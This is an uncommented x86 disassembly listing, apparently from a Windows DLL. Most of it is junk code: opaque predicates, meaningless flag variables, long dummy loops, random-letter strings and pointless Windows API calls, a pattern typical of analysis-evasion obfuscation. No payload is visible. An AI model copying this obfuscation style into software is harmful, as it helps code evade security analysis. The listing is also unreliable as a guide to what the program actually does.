inc eax
mov dword [ebp - 0x1f8], eax
jmp 0x10025b89
cmp dword [ebp - 0x130], 0
jne 0x10025bd7
mov dword [ebp - 0x7f0], 1
jmp 0x10025bde
and dword [ebp - 0x7f0], 0
cmp dword [ebp - 0x7f0], 1
jg 0x10025bf3
mov dword [ebp - 0x5bc], 1
jmp 0x10025bfa
and dword [ebp - 0x5bc], 0
mov eax, dword [ebp - 0x1f8]
add eax, dword [ebp - 0x5bc]
je 0x10025c1d
mov eax, 0x33fd
test eax, eax
je 0x10025c1d
mov dword [ebp - 0x6dc], 1
jmp 0x10025c24
and dword [ebp - 0x6dc], 0
cmp dword [ebp - 0x6dc], 0xfffff505
jle 0x10025c3c
mov dword [ebp - 0x5c4], 1
jmp 0x10025c43
and dword [ebp - 0x5c4], 0
mov eax, dword [ebp - 0x1f8]
cmp dword [ebp - 0x5c4], eax
jle 0x10025c5d
mov dword [ebp - 0x76c], 1
jmp 0x10025c64
and dword [ebp - 0x76c], 0
mov eax, dword [ebp - 0x370]
cmp dword [ebp - 0x76c], eax
jge 0x10025c7e
mov dword [ebp - 0x5cc], 1
jmp 0x10025c85
and dword [ebp - 0x5cc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x5cc]
sub ecx, dword [ebp + eax - 0xc80]
cmp ecx, dword [ebp - 0x200]
jge 0x10025cac
mov dword [ebp - 0x6e4], 1
jmp 0x10025cb3
and dword [ebp - 0x6e4], 0
mov eax, dword [ebp - 0x200]
cmp eax, dword [ebp - 0x6e4]
jl 0x10025ccd
mov dword [ebp - 0x5d4], 1
jmp 0x10025cd4
and dword [ebp - 0x5d4], 0
mov eax, dword [ebp - 0x5d4]
mov dword [ebp - 0x370], eax
mov eax, dword [ebp - 0x370]
cmp eax, dword [ebp - 0x200]
jne 0x10025cfa
mov dword [ebp - 0x7b4], 1
jmp 0x10025d01
and dword [ebp - 0x7b4], 0
mov eax, dword [ebp - 0x7b4]
mov dword [ebp - 0x200], eax
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x138]
movzx eax, byte [ebp + eax - 0x1ae]
movsx eax, byte [ebp + eax - 0x838]
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [ebp + ecx - 0x1ab]
and ecx, eax
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x138]
movzx eax, byte [ebp + eax - 0x1ae]
movsx eax, byte [ebp + eax - 0x838]
mov edx, dword [ebp - 0x24]
movzx edx, byte [ebp + edx - 0x1ab]
and edx, eax
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x138]
movzx eax, byte [ebp + eax - 0x1ae]
movsx eax, byte [ebp + eax - 0x838]
mov esi, dword [ebp - 0x24]
movzx ebx, byte [ebp + esi - 0x1ab]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x1ac]
mov byte [ebp + eax - 0x838], bl
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x84], 0x821342f3
push 3
lea ecx, [ebp - 0xa84]
call fcn.10004730
mov dword [ebp - 4], 0x2b
mov dword [ebp - 0x208], 0
jmp 0x10025dd3
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 3
jge 0x10025df2
push dword [ebp - 0x208]
lea ecx, [ebp - 0xa84]
call fcn.100047a9
or dword [eax], 0xffffffff
jmp 0x10025dc6
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
jne 0x10025e06
mov dword [ebp - 0x9d4], 1
jmp 0x10025e0d
and dword [ebp - 0x9d4], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xbec], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
jg 0x10025e2a
mov dword [ebp - 0x5dc], 1
jmp 0x10025e31
and dword [ebp - 0x5dc], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x5dc], eax
jg 0x10025e48
mov dword [ebp - 0x6ec], 1
jmp 0x10025e4f
and dword [ebp - 0x6ec], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x6ec], eax
je 0x10025e66
mov dword [ebp - 0x5e4], 1
jmp 0x10025e6d
and dword [ebp - 0x5e4], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x5e4], eax
jge 0x10025e84
mov dword [ebp - 0x774], 1
jmp 0x10025e8b
and dword [ebp - 0x774], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x774], eax
jne 0x10025ea2
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xe0], 0xfffffff6
jmp 0x1002603d
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0xfffffff9
jl 0x100261a1
mov dword [ebp - 0x78], 0xffffffff
mov dword [ebp - 0x60c], 0xfffffffe
cmp dword [ebp - 0xe0], 0
je 0x100260c2
cmp dword [ebp - 0x78], 0
jae 0x10026076
mov dword [ebp - 0x6f4], 1
jmp 0x1002607d
and dword [ebp - 0x6f4], 0
mov eax, dword [ebp - 0x78]
imul eax, dword [ebp - 0x6f4]
imul eax, dword [ebp - 0x78]
cmp eax, 0x13b28858
jle 0x1002609e
mov dword [ebp - 0x5f4], 1
jmp 0x100260a5
and dword [ebp - 0x5f4], 0
mov eax, dword [ebp - 0xe0]
imul eax, dword [ebp - 0x5f4]
mov ecx, dword [ebp - 0x78]
sub ecx, eax
jne 0x100260c2
and dword [ebp - 0x7d8], 0
jmp 0x100260cc
mov dword [ebp - 0x7d8], 1
mov eax, dword [ebp - 0xe0]
cmp dword [ebp - 0x7d8], eax
jge 0x100260e6
mov dword [ebp - 0x5fc], 1
jmp 0x100260ed
and dword [ebp - 0x5fc], 0
cmp dword [ebp - 0x5fc], 0xfffffffa
jb 0x10026102
mov dword [ebp - 0x6fc], 1
jmp 0x10026109
and dword [ebp - 0x6fc], 0
mov eax, dword [ebp - 0x60c]
cmp dword [ebp - 0x6fc], eax
jge 0x10026123
mov dword [ebp - 0x604], 1
jmp 0x1002612a
and dword [ebp - 0x604], 0
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0x604], eax
jg 0x10026141
mov dword [ebp - 0x77c], 1
jmp 0x10026148
and dword [ebp - 0x77c], 0
cmp dword [ebp - 0x77c], 0x133f
jle 0x10026191
mov dword [ebp - 0x78], 0x1b
jmp 0x10026164
mov eax, dword [ebp - 0x78]
dec eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xfffffff7
jle 0x1002618f
mov byte [ebp - 0xc1], 0
movzx eax, byte [ebp - 0xc1]
test eax, eax
je 0x1002618d
push 0
push 0x16a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
jmp 0x1002615d
jmp 0x1002619c
cmp dword [ebp - 0x60c], 0
je 0x1002619c
jmp 0x100261a1
jmp 0x10026030
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x838], 0
mov dword [ebp - 0xa0], 0x2b91
mov dword [ebp - 0x218], 0x6fc6088b
mov dword [ebp - 0x54], 0xb597857
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x7c4], 3
mov dword [ebp - 0x140], 1
mov dword [ebp - 0xf4], 0x684abf0a
or eax, 0xffffffff
je 0x10026343
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0xbfc], eax
cmp dword [ebp - 0x54], 0
jne 0x1002621f
mov eax, 0xcb441791
test eax, eax
jne 0x1002621f
and dword [ebp - 0x704], 0
jmp 0x10026229
mov dword [ebp - 0x704], 1
mov eax, dword [ebp - 0x704]
mov dword [ebp - 0x210], eax
mov eax, dword [ebp - 0x210]
cmp eax, dword [ebp - 0xa0]
jle 0x1002624f
mov dword [ebp - 0x614], 1
jmp 0x10026256
and dword [ebp - 0x614], 0
mov eax, dword [ebp - 0x614]
mov dword [ebp - 0x7c4], eax
cmp dword [ebp - 0x7c4], 0xfffffff7
jl 0x10026277
mov dword [ebp - 0x61c], 1
jmp 0x1002627e
and dword [ebp - 0x61c], 0
cmp dword [ebp - 0x61c], 0xffffffff
jle 0x10026297
push 0xfffffffffffffff8
pop eax
test eax, eax
jne 0x10026297
and dword [ebp - 0x70c], 0
jmp 0x100262a1
mov dword [ebp - 0x70c], 1
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x218], eax
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x218]
cmp eax, dword [ebp - 0x140]
jl 0x100262dc
cmp dword [ebp - 0x140], 0
je 0x100262dc
mov dword [ebp - 0x9e4], 1
jmp 0x100262e3
and dword [ebp - 0x9e4], 0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xc00], eax
mov eax, dword [ebp - 0x218]
cmp eax, dword [ebp - 0xa0]
jg 0x10026306
mov dword [ebp - 0x624], 1
jmp 0x1002630d
and dword [ebp - 0x624], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x624], eax
je 0x10026327
mov dword [ebp - 0x784], 1
jmp 0x1002632e
and dword [ebp - 0x784], 0
mov eax, dword [ebp - 0x784]
inc eax
je 0x10026343
mov dword [ebp - 0x62c], 1
jmp 0x1002634a
and dword [ebp - 0x62c], 0
mov eax, dword [ebp - 0x62c]
neg eax
cmp eax, 0xa9e1a0e
jne 0x10026365
mov dword [ebp - 0x714], 1
jmp 0x1002636c
and dword [ebp - 0x714], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x714], eax
je 0x10026383
mov dword [ebp - 0x468], 1
jmp 0x1002638a
and dword [ebp - 0x468], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x468], eax
jge 0x100263a1
mov dword [ebp - 0x470], 1
jmp 0x100263a8
and dword [ebp - 0x470], 0
mov eax, dword [ebp - 0xf4]
add eax, dword [ebp - 0x470]
cmp eax, 0xffffffff
je 0x100263c5
mov dword [ebp - 0x478], 1
jmp 0x100263cc
and dword [ebp - 0x478], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x478], eax
jle 0x100263e8
xor eax, eax
inc eax
jne 0x100263e8
and dword [ebp - 0x910], 0
jmp 0x100263f2
mov dword [ebp - 0x910], 1
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xc04], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xc08], eax
mov eax, dword [ebp - 0xa0]
cmp eax, dword [ebp - 0xa0]
jge 0x1002641e
mov dword [ebp - 0x480], 1
jmp 0x10026425
and dword [ebp - 0x480], 0
mov eax, dword [ebp - 0x480]
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0x54], 0
jmp 0x10026441
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x29
jl 0x100265de
mov dword [ebp - 0xfc], 0xffffffff
mov dword [ebp - 0x498], 0xffffffff
cmp dword [ebp - 0x210], 0
jne 0x100264c8
mov eax, dword [ebp - 0xfc]
cmp eax, dword [ebp - 0xfc]
jl 0x10026482
mov dword [ebp - 0x488], 1
jmp 0x10026489
and dword [ebp - 0x488], 0
mov eax, dword [ebp - 0x210]
cmp dword [ebp - 0x488], eax
jge 0x100264a3
mov dword [ebp - 0x490], 1
jmp 0x100264aa
and dword [ebp - 0x490], 0
mov eax, dword [ebp - 0x490]
mov dword [ebp - 0x498], eax
cmp dword [ebp - 0x498], 0
jne 0x100264c8
and dword [ebp - 0x4a0], 0
jmp 0x100264d2
mov dword [ebp - 0x4a0], 1
imul eax, dword [ebp - 0x4a0], 9
add eax, dword [ebp - 0xf4]
cmp eax, dword [ebp - 0xa0]
jle 0x100264f3
mov dword [ebp - 0x4a8], 1
jmp 0x100264fa
and dword [ebp - 0x4a8], 0
cmp dword [ebp - 0x4a8], 0xfffffffb
je 0x1002650f
mov dword [ebp - 0x4b0], 1
jmp 0x10026516
and dword [ebp - 0x4b0], 0
cmp dword [ebp - 0x4b0], 0xfff9
jb 0x1002652e
mov dword [ebp - 0xa28], 1
jmp 0x10026535
and dword [ebp - 0xa28], 0
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0xc60], eax
cmp dword [ebp - 0xfc], 0xfffffffb
jle 0x10026556
mov dword [ebp - 0x4b8], 1
jmp 0x1002655d
and dword [ebp - 0x4b8], 0
mov eax, dword [ebp - 0xf4]
sub eax, dword [ebp - 0x4b8]
imul eax, dword [ebp - 0xfc]
cmp eax, dword [ebp - 0xfc]
jg 0x10026584
mov dword [ebp - 0x4c0], 1
jmp 0x1002658b
and dword [ebp - 0x4c0], 0
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0x4c0], eax
jge 0x100265a5
mov dword [ebp - 0x4c8], 1
jmp 0x100265ac
and dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0x140]
cmp dword [ebp - 0x4c8], eax
jne 0x100265c6
mov dword [ebp - 0x4d0], 1
jmp 0x100265cd
and dword [ebp - 0x4d0], 0
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0x218], eax
jmp 0x1002643a
lea eax, [ebp - 0x838]
push eax
lea ecx, [ebp - 0xca0]
call fcn.1002cf6f
mov dword [ebp - 4], 0x2c
push 1
lea ecx, [ebp - 0x354]
call fcn.10004730
mov byte [ebp - 4], 0x2d
mov dword [ebp - 0x48], 0x31aa
mov dword [ebp - 0x9f4], 1
mov dword [ebp - 0x80], 0
jmp 0x10026629
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 3
jge 0x1002663f
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0x7d0], 0xa8eac8b1
jmp 0x10026622
mov dword [ebp - 0x80], 0
jmp 0x1002664f
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 1
jge 0x1002666b
push dword [ebp - 0x80]
lea ecx, [ebp - 0x354]
call fcn.100047a9
mov dword [eax], 0x3fcb50bf
jmp 0x10026648
push 0
lea ecx, [ebp - 0x354]
call fcn.100047a9
and dword [eax], 0
jmp 0x100266a1
push 0
lea ecx, [ebp - 0x354]
call fcn.100047a9
cmp dword [eax], 2
jg 0x100268c5
mov dword [ebp - 0x220], 0xe5b1
mov dword [ebp - 0x4e8], 0xfffffff6
mov dword [ebp - 0x91c], 0x8842b4cf
push 0
lea ecx, [ebp - 0x354]
call fcn.100047a9
cmp dword [eax], 0
je 0x100266ec
jmp 0x100268c5
cmp dword [ebp - 0x220], 0xb051
jle 0x10026704
mov dword [ebp - 0x4f8], 1
jmp 0x1002670b
and dword [ebp - 0x4f8], 0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xb44], eax
xor eax, eax
add eax, 0x451f
jne 0x10026726
cmp dword [ebp - 0x220], 0
je 0x1002673b
cmp dword [ebp - 0x220], 0
je 0x1002673b
mov dword [ebp - 0x4e0], 1
jmp 0x10026742
and dword [ebp - 0x4e0], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x7d0]
add eax, dword [ebp - 0x4e0]
mov ecx, dword [ebp - 0x48]
imul ecx, eax
mov dword [ebp - 0x4e8], ecx
cmp dword [ebp - 0x4e8], 0
je 0x1002678e
push 0
lea ecx, [ebp - 0x354]
call fcn.100047a9
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x7d0], 0
je 0x1002678e
mov dword [ebp - 0x4f0], 1
jmp 0x10026795
and dword [ebp - 0x4f0], 0
push 0
lea ecx, [ebp - 0x354]
call fcn.100047a9
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x7d0]
cmp dword [ebp - 0x4f0], eax
jg 0x100267bf
mov dword [ebp - 0x500], 1
jmp 0x100267c6
and dword [ebp - 0x500], 0
mov eax, dword [ebp - 0x4f8]
cmp eax, dword [ebp - 0x500]
jl 0x100267e0
mov dword [ebp - 0x508], 1
jmp 0x100267e7
and dword [ebp - 0x508], 0
imul eax, dword [ebp - 0x508], 0x7c39
test eax, eax
jne 0x10026807
cmp dword [ebp - 0x220], 0
jne 0x10026807
and dword [ebp - 0x510], 0
jmp 0x10026811
mov dword [ebp - 0x510], 1
imul eax, dword [ebp - 0x510], 0xd683
cmp eax, 0xffffffff
jle 0x1002682c
mov dword [ebp - 0x518], 1
jmp 0x10026833
and dword [ebp - 0x518], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x518]
sub ecx, dword [ebp + eax - 0x7d0]
je 0x10026866
mov dword [ebp - 0x48], 0
jmp 0x100268d5
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jg 0x10026b91
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x98], 0
jmp 0x10026902
cmp dword [ebp - 0x98], 0
jg 0x10026b8c
mov dword [ebp - 0x550], 0x5900
mov dword [ebp - 0x934], str.tge_edn_abylixgk_evxkzdqco_facyve_cevpj_gdeirkbl_hnfaa_yomqi_nudetndwv_qikoye_gkju
cmp dword [ebp - 0x550], 0x5a70
jle 0x10026a1c
and dword [ebp - 0x238], 0
jmp 0x10026949
cmp dword [ebp - 0x238], 0xca
jge 0x10026a11
and dword [ebp - 0x240], 0
jmp 0x1002696f
cmp dword [ebp - 0x240], 0x1a65
jge 0x10026a0c
and dword [ebp - 0x228], 0
jmp 0x10026995
jmp 0x1002693c
push 0xdce
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp + eax*4 - 0x7c8]
mov dword [ebp - 0xb4c], eax
mov eax, dword [ebp - 0x98]
cmp eax, dword [ebp - 0x98]
jl 0x10026a46
mov dword [ebp - 0x538], 1
jmp 0x10026a4d
and dword [ebp - 0x538], 0
mov eax, dword [ebp - 0x9f4]
cmp dword [ebp - 0x538], eax
jg 0x10026a67
mov dword [ebp - 0x928], 1
jmp 0x10026a6e
and dword [ebp - 0x928], 0
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp + eax*4 - 0x7c8]
mov dword [ebp - 0xb54], eax
push dword [ebp - 0x48]
lea ecx, [ebp - 0x354]
call fcn.100047a9
push 0
lea ecx, [ebp - 0x354]
call fcn.100047a9
imul esi, dword [eax], 0x9757
push dword [ebp - 0x48]
lea ecx, [ebp - 0x354]
call fcn.100047a9
cmp esi, dword [eax]
jge 0x10026abd
mov dword [ebp - 0x540], 1
jmp 0x10026ac4
and dword [ebp - 0x540], 0
imul esi, dword [ebp - 0x540], 0xfff8
push dword [ebp - 0x48]
lea ecx, [ebp - 0x354]
call fcn.100047a9
cmp dword [eax], esi
jge 0x10026aec
mov dword [ebp - 0xa30], 1
jmp 0x10026af3
and dword [ebp - 0xa30], 0
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xb5c], eax
mov eax, dword [ebp - 0x48]
cmp dword [ebp + eax*4 - 0x7c8], 0x3a67d625
jg 0x10026b1b
jmp 0x100268ce
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x354]
call fcn.1000478d
and dword [ebp - 0x278], 0
jmp 0x10026bb6
cmp dword [ebp - 0x278], 0xf
jae 0x1002702c
mov dword [ebp - 0x108], 5
mov dword [ebp - 0x270], 0x4207647f
mov dword [ebp - 0x268], 0x158018d9
mov dword [ebp - 0x558], 0x971
mov dword [ebp - 0x940], str.ensmygsok_aas_wrcdpc_rqm_vfjgqwwfb_buic_jsofx_dpumsoww_avlvuw_cuec_csummtv_wbdu_txiojn
cmp dword [ebp - 0x558], 0xd25
jle 0x10026cf4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetParent]
and dword [ebp - 0x248], 0
jmp 0x10026c28
cmp dword [ebp - 0x248], 0x30c2
jge 0x10026ce9
and dword [ebp - 0x250], 0
jmp 0x10026c4e
cmp dword [ebp - 0x250], 0x3747
jge 0x10026ce4
and dword [ebp - 0x258], 0
jmp 0x10026c74
jmp 0x10026c1b
push 0x4b3
call dword [sym.imp.USER32.dll_GetKeyState]
mov dword [ebp - 0x580], 0xffffffff
mov byte [ebp - 4], 0x30
cmp dword [ebp - 0x558], 0x95d
jge 0x10026d1a
push dword [ebp - 0x940]
call fcn.10048743
pop ecx
jmp 0x10026d36
mov dword [ebp - 4], 0x2c
jmp 0x10026d46
mov dword [ebp - 0xa38], 0x25db
mov dword [ebp - 0xb64], 0x5063f373
mov dword [ebp - 0xa40], 0x8af80453
mov dword [ebp - 0x260], 0
jmp 0x10026d7d
cmp dword [ebp - 0x260], 3
jge 0x10026d99
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x38], 1
push 2
lea ecx, [ebp - 0x80c]
call fcn.10004730
mov byte [ebp - 4], 0x32
push 2
lea ecx, [ebp - 0xbb8]
call fcn.10004730
mov byte [ebp - 4], 0x33
mov dword [ebp - 0x3c], 0
jmp 0x1002706c
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 4
jge 0x10027082
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x39c], 0xc64a6847
jmp 0x10027065
mov dword [ebp - 0x3c], 0
jmp 0x10027092
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 2
jge 0x100270ab
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x80c]
call fcn.100047a9
or dword [eax], 0xffffffff
jmp 0x1002708b
mov dword [ebp - 0x3c], 0
jmp 0x100270bb
cmp dword [ebp - 0x3c], 2
jge 0x100270d7
mov dword [ebp - 0xa8], 0x10c93b4e
mov dword [ebp - 0x680], 0x353b
mov dword [ebp - 0x964], str.yksmrgcg_yxvipxce_xquhprb_wotmea_snum_emrf_oav_lhn
cmp dword [ebp - 0x680], 0x3849
jle 0x1002773c
and dword [ebp - 0x2a0], 0
jmp 0x10027668
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0x7b2e
jge 0x1002772e
and dword [ebp - 0x2a8], 0
jmp 0x1002768e
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0x1eba
jge 0x10027729
and dword [ebp - 0x290], 0
jmp 0x100276b4
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0x655c
jge 0x10027724
and dword [ebp - 0x298], 0
jmp 0x100276d6
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0x7398
jge 0x10027722
mov eax, dword [ebp - 0x290]
imul eax, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x2a0]
add ecx, dword [ebp - 0x2a8]
or eax, ecx
cdq
mov dword [ebp - 0x954], eax
mov dword [ebp - 0x950], edx
push dword [ebp - 0x950]
push dword [ebp - 0x954]
mov ecx, 0x1007bf18
call fcn.1000448f
jmp 0x100276c9
jmp 0x100276a7
jmp 0x10027681
jmp 0x1002765b
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
mov dword [ebp - 0x150], 0x60016488
mov dword [ebp - 4], 0x34
cmp dword [ebp - 0x680], 0x31c8
jge 0x10027769
mov edx, dword [ebp - 0x964]
mov ecx, 0x1007bf18
call fcn.10006900
jmp 0x10027785
or dword [ebp - 4], 0xffffffff
jmp 0x1002778f
mov dword [ebp - 0x6d0], 0x8e00457a
mov dword [ebp - 0x970], 0x942c3b03
mov dword [ebp - 0x3b8], 0xc9e4a043
mov dword [ebp - 0xa8], 0
jmp 0x100277c6
mov eax, dword [ebp - 0xa8]
dec eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0xffffffec
je 0x1002794c
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0xa14], 0xe672
mov eax, dword [ebp - 0x8c]
inc eax
je 0x10027814
mov byte [ebp - 0xe7], 0
movzx eax, byte [ebp - 0xe7]
test eax, eax
je 0x1002780f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
jmp 0x10027947
mov dword [ebp - 0x6b0], 0x8628405c
mov dword [ebp - 0x8c], 0
jmp 0x10027837
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0x1d
jg 0x1002784d
cmp dword [ebp - 0xa14], 0
je 0x1002784b
jmp 0x1002784d
jmp 0x1002782a
cmp dword [ebp - 0x6b0], 0xda8e
jg 0x10027865
mov dword [ebp - 0x688], 1
jmp 0x1002786c
and dword [ebp - 0x688], 0
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x688], eax
je 0x10027886
mov dword [ebp - 0x690], 1
jmp 0x1002788d
and dword [ebp - 0x690], 0
cmp dword [ebp - 0x690], 0x6cbc
jle 0x100278ab
mov eax, 0xa81a82e7
test eax, eax
jne 0x100278ab
and dword [ebp - 0x698], 0
jmp 0x100278b5
mov dword [ebp - 0x698], 1
mov eax, dword [ebp - 0x8c]
cmp eax, dword [ebp - 0x698]
jg 0x100278cf
mov dword [ebp - 0x6a0], 1
jmp 0x100278d6
and dword [ebp - 0x6a0], 0
cmp dword [ebp - 0x6a0], 0
jg 0x100278f1
cmp dword [ebp - 0x8c], 0
jne 0x100278f1
and dword [ebp - 0x6a8], 0
jmp 0x100278fb
mov dword [ebp - 0x6a8], 1
cmp dword [ebp - 0x6a8], 0xebda1846
jne 0x10027913
mov dword [ebp - 0x6b8], 1
jmp 0x1002791a
and dword [ebp - 0x6b8], 0
mov eax, dword [ebp - 0x6b0]
cmp dword [ebp - 0x6b8], eax
jl 0x10027934
mov dword [ebp - 0x6c0], 1
jmp 0x1002793b
and dword [ebp - 0x6c0], 0
mov eax, dword [ebp - 0x6c0]
mov dword [ebp - 0x150], eax
jmp 0x100277b9
mov eax, 0xe735
test eax, eax
je 0x1002796a
cmp dword [ebp - 0xa8], 0
je 0x1002796a
mov dword [ebp - 0x3c0], 1
jmp 0x10027971
and dword [ebp - 0x3c0], 0
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0
je 0x1002799b
cmp dword [ebp - 0x150], 0
je 0x1002799b
mov dword [ebp - 0x6c8], 1
jmp 0x100279a2
and dword [ebp - 0x6c8], 0
mov eax, dword [ebp - 0x6c8]
mov dword [ebp - 0x6d0], eax
imul eax, dword [ebp - 0xa8], 0x8777
sub eax, dword [ebp - 0x6d0]
cmp eax, dword [ebp - 0x970]
jg 0x100279d2
mov dword [ebp - 0x3b0], 1
jmp 0x100279d9
and dword [ebp - 0x3b0], 0
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x3b8], eax
mov eax, dword [ebp - 0x3b8]
cmp dword [ebp - 0x3c0], eax
jle 0x100279ff
mov dword [ebp - 0x3c8], 1
jmp 0x10027a06
and dword [ebp - 0x3c8], 0
mov eax, dword [ebp - 0x3c8]
mov dword [ebp - 0xa8], eax
cmp dword [0x100df394], 0
je 0x100282ea
mov eax, dword [ebp + 8]
mov dword [ebp - 0x97c], eax
mov dword [ebp - 0x158], 0xdba76aab
mov dword [ebp - 0x64], 0
jmp 0x10027a42
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 4
jge 0x10027a58
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0xcb0], 0x13dd
jmp 0x10027a3b
mov dword [ebp - 0x64], 0
jmp 0x10027a68
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 3
jge 0x10027a7e
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0xd5c], 0
jmp 0x10027a61
mov dword [ebp - 0x158], 0
jmp 0x10027a97
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 4
jge 0x10027ab3
mov eax, dword [ebp - 0x158]
mov dword [ebp + eax*4 - 0xcb0], 0xba2a
jmp 0x10027a8a
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xa1c], eax
mov dword [ebp - 0x3d0], 0x1a9f
mov dword [ebp - 0xa3c], str.ozm_inttowi_cbmb_tttkzgmvd_ngzytmza_qqf_xbbmcbd_htidnl
cmp dword [ebp - 0x3d0], 0x1b8e
jle 0x10027b67
push 0x54a
push 0
call dword [sym.imp.USER32.dll_CharUpperBuffW]
and dword [ebp - 0x2b0], 0
jmp 0x10027b03
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0x3046
jge 0x10027b67
and dword [ebp - 0x2b8], 0
jmp 0x10027b25
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0x3a88
jge 0x10027b65
mov eax, dword [ebp - 0x2b0]
cdq
idiv dword [ebp - 0x2b8]
mov eax, edx
cdq
mov dword [ebp - 0x960], eax
mov dword [ebp - 0x95c], edx
push dword [ebp - 0x95c]
push dword [ebp - 0x960]
mov ecx, 0x1007bf18
call fcn.1000448f
jmp 0x10027b18
jmp 0x10027af6
mov dword [ebp - 0xc1c], 1
mov dword [ebp - 4], 0x36
cmp dword [ebp - 0x3d0], 0x193d
jge 0x10027b94
mov edx, dword [ebp - 0xa3c]
mov ecx, 0x1007bf18
call fcn.10006900
jmp 0x10027bb0
or dword [ebp - 4], 0xffffffff
jmp 0x10027bba
mov byte [ebp - 0xb2], 0
